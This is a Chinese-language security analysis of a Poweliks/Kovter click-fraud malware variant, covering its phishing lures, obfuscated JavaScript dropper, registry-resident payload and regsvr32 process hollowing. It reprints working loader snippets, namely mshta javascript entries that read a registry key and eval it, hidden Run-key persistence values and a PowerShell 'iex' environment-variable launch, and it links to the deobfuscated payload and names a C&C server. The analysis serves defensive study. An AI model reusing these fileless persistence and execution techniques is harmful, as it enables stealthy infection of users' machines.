Poweliks:不斷進化的免文件型惡意軟件
Poweliks(實際上應(yīng)該叫做Kovter)是一款著名的點擊欺詐軟件,它于2014年首次被曝光,由于它使用了一種特殊的潛伏技術(shù)而迅速蜚聲天下:它并非隱身于磁盤文件中,而是藏身于讓人意想不到的Windows注冊表內(nèi)。實際上,該軟件不僅首次面世就一鳴驚人,而且,此后它也一直處于不斷進化之中。
本文將向讀者介紹Poweliks的一個新變種,它的特點是具備令人難以置信的低檢出率。
0×00 摘要
自2015年7月以來,我們一直在監(jiān)視利用著名的免文件型惡意軟件Poweliks來躲避殺毒軟件的檢測的惡意軟件的活動。這款惡意軟件可能是一個變種,它的設(shè)計目標之一就是“不要顯山露水”;與之前的變種不同的是,它雖然沒有利用漏洞或UAC繞過技術(shù),但是隱身效果卻毫不遜色,并且極少被殺毒軟件檢測到。好消息是,事實證明行為分析針對這種威脅的效果還是非常好的,因此,殺毒軟件公司必須及時利用該技術(shù)識別此類威脅,才能為用戶提供及時的保護功能。
0×01 傳播手段
我們的客戶收到了如下所示的偽裝成美國航空公司的機票收據(jù)的電子郵件。
圖1 Poweliks電子郵件
這封電子郵件發(fā)自mrsfitness[.]com,看起來像是被攻擊者控制的一個域名。
在本例中,該郵件并沒有引起網(wǎng)關(guān)上安裝的殺毒軟件和反立即郵件系統(tǒng)的任何懷疑。在該郵件的附件中,包含有一段經(jīng)過混淆處理后的javascript代碼,該代碼的作用是觸發(fā)系統(tǒng)去下載并執(zhí)行一個惡意的可執(zhí)行文件。
圖2 還原后的JavaScript代碼
自從7月份監(jiān)視該軟件的活動以來,我們總共收到過三種不同形式的電子郵件:
機票收據(jù)
發(fā)票
法院傳票
該惡意軟件的主要攻擊對象全部位于美國。
0×02 有效載荷
這個惡意軟件下載的文件是經(jīng)過加密處理的,此外,為了給分析者制造障礙,它的程序代碼故意弄得跟一團麻似的,同時,為了成功繞過沙箱分析,它還是針對特定的Virtualbox的。
Filename: 88655116.exe Hash-SHA256: 673b384836483b3db628e3cc2eda5683a209837ea7da0a4c0749ea496e2a644a Size: 412.210
它的檢出率依然非常低,并且對于該惡意軟件的分類也是不對的。
圖3 殺毒軟件對于Poweliks的檢測情況
該惡意軟件脫殼之后,會檢測是否存在VirtualBox VM,這一行為在之前是我們所沒有發(fā)現(xiàn)的。在第二個階段,它會隨機生成兩個注冊表項,然后通過mshta.exe生成一個powershell實例,隨后,會用這個powershell繼續(xù)生成一個注入式的regsvr32.exe實例。下面是相應(yīng)的注冊表項:
圖4 Poweliks的注冊表項
在mshta.exe包含有一小段javascript代碼,如下所示:
ZKk7pWSkz=”3pVjfxK58″;Z6v7=new%20ActiveXObject(“WScript.Shell”);qojKj0pk=”McEb”;sEAn4=Z6v7.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);mAN16NzLz=”nmOa4g1u”;eval(sEAn4);UtbW0ZYxq=”R5V5xTB”;
很明顯,這段代碼是經(jīng)過了混淆處理的,還原后的代碼如下所示:
圖5 還原后的javascript代碼
上述代碼的作用是,讀取剛才創(chuàng)建的注冊表項,并執(zhí)行其內(nèi)容,這里的內(nèi)容實際上還是一段混淆后的javascript代碼,如果將其還原的話,大致如下所示:
圖6 注冊表項中的javascript代碼
這段代碼的作用是,對二進制串進行譯碼,并執(zhí)行之。由于這個二進制串太長了,所以這里已經(jīng)將其刪除掉了,如果讀者需要進行分析的話,可以從http://pastebin.com/mrw4Csja找到。#p#
在解密之后,它看起來像是一個powershell腳本,作用是根據(jù)嵌入到該腳本內(nèi)部的shellcode來創(chuàng)建一個線程。
圖7 Poweliks中的powershell腳本
這個腳本將會插入到一個環(huán)境變量中,之后該變量將直接被傳遞給powershell:
“C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe” iex $env:vsxf
我們已經(jīng)完整還原出了這個腳本,如果大家需要分析的話可以從http://pastebin.com/dnkQC1UE下載。那么,這個shellcode又是意欲何為呢? 為了弄清楚這一點,我們必須先將其反匯編,并進行相應(yīng)的調(diào)試才行。這段shellcode的作用是解析一些API(VirtualAlloc()、 ExitProcess()、RegOpenKey()、RegQueryValue()、GetProcAddress()、LoadLibrary()),而這些API的作用則是讀取前面提到的注冊表項的內(nèi)容,對其內(nèi)容進行譯碼,并執(zhí)行之。這里的解密例程非常簡單,并且會用置換表來存放1到0×100這些遞增的數(shù)字,這些值是用來對加密字節(jié)進行異或運算的:
圖8 Poweliks的解密例程
這些代碼在解密之后就會被運行。它會執(zhí)行regsvr32.exe,然后將其“掏空”,下面是我們的分析引擎的輸出結(jié)果:
圖9 Poweliks的替身regsvr32.exe
下面我們來看看偷梁換柱的具體過程:
圖10 Poweliks的生成樹
要是沒有后備機制的話,就不會有Poweliks了,因為有些東西會出錯,如果進程由于某種原因出錯的話,那么主進程就會試圖直接生成一個regsvr32.exe實例,以便為注入做最后的一次嘗試。
圖11 Poweliks的后備注入
Powershell終止后,會給我們留下一個運行狀態(tài)下的regsvr32.exe實例,它的任務(wù)是利用自身生成第二個實例,并完成注入操作等,實際上它要做的事情還不少:首先,將整個惡意軟件隱藏到HKCU/Software/Microsoft/Windows/CurrentVersion/Run處的持久性的注冊表項中,不過,這里需要用到一個解析技巧,以便使得regedit.exe無法直接讀取這個持久性的注冊表項:
圖12 Poweliks的持久性注冊表項
下面是用到的一個注冊表項,注意其名稱中的前導(dǎo)反斜扛:
“a1f309e8″=”mshta javascript:judNSd2v=”4S”;T80G=new%20ActiveXObject(“WScript.Shell”);OlXOQ8j4=”jWqM4PKDvF”;pd6D2R=T80G.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);qeV4j2Wz=”Y7wjctoseg”;eval(pd6D2R);WFNQgoB1b=”idEjYnCb”;”
“9460666d”=”mshta javascript:Zfvtt1o3=”uue”;m3S=new%20ActiveXObject(“WScript.Shell”);tMAUk0Ua=”Zc8″;Qs4Xs3=m3S.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);q9FywZTi=”X”;eval(Qs4Xs3);XFCt5IgZO=”IGrWu”;”
即使沒有經(jīng)過還原處理,我們依然可以看出它們依舊是要利用注冊表項中的javascript代碼從事感染活動。嚴格來講,Poweliks并不是一個純粹的免文件型惡意軟件,但是它離這個概念已經(jīng)非常接近了。達到持久性的潛伏目的之后,它還會再新建一些注冊表項,尤其是會用它們來隱藏一個用戶代理及其相應(yīng)的命令請求:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
這個用戶代理是從下面的列表中選出來的:
Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
這樣以來,就可以進行瀏覽器注入攻擊了,那些倒霉的用戶會看到一些新的廣告和虛假的警告,由于Poweliks具有下載功能,所以一旦系統(tǒng)感染了它,理論上就可能進一步下載其他類型的惡意軟件。根據(jù)我們的監(jiān)控,目前發(fā)現(xiàn)它會訪問一個C&C服務(wù)器,地址為 H**p://185.102.139.93/form2.php。盡管在二進制代碼中嵌入了許多IP,但我們沒有展開進一步的實際調(diào)查,不過它們很可能是一些流氓AD服務(wù)器。
0×03 總結(jié)
當(dāng)前,Poweliks的功能依舊保持強大,其制作的工程化水平也是可圈可點的。由于該惡意軟件幾乎不藏身于文件之中,因此,它能夠愚弄大多數(shù)的安全解決方案。在Poweliks之前的版本中,它曾經(jīng)使用過一些安全漏洞和不同的UAC繞過技術(shù),不過就近期的監(jiān)控來看,當(dāng)前的版本好像沒有再沿用這些手段,不過,盡管它沒有對大部分代碼進行重構(gòu),但是其檢出率依然保持很低。事實再次證明,相對于基于標準特征的殺毒解決方案來說,基于人工智能的行為分析技術(shù)在檢測和防護新型或進化中的安全威脅方面要更加有效。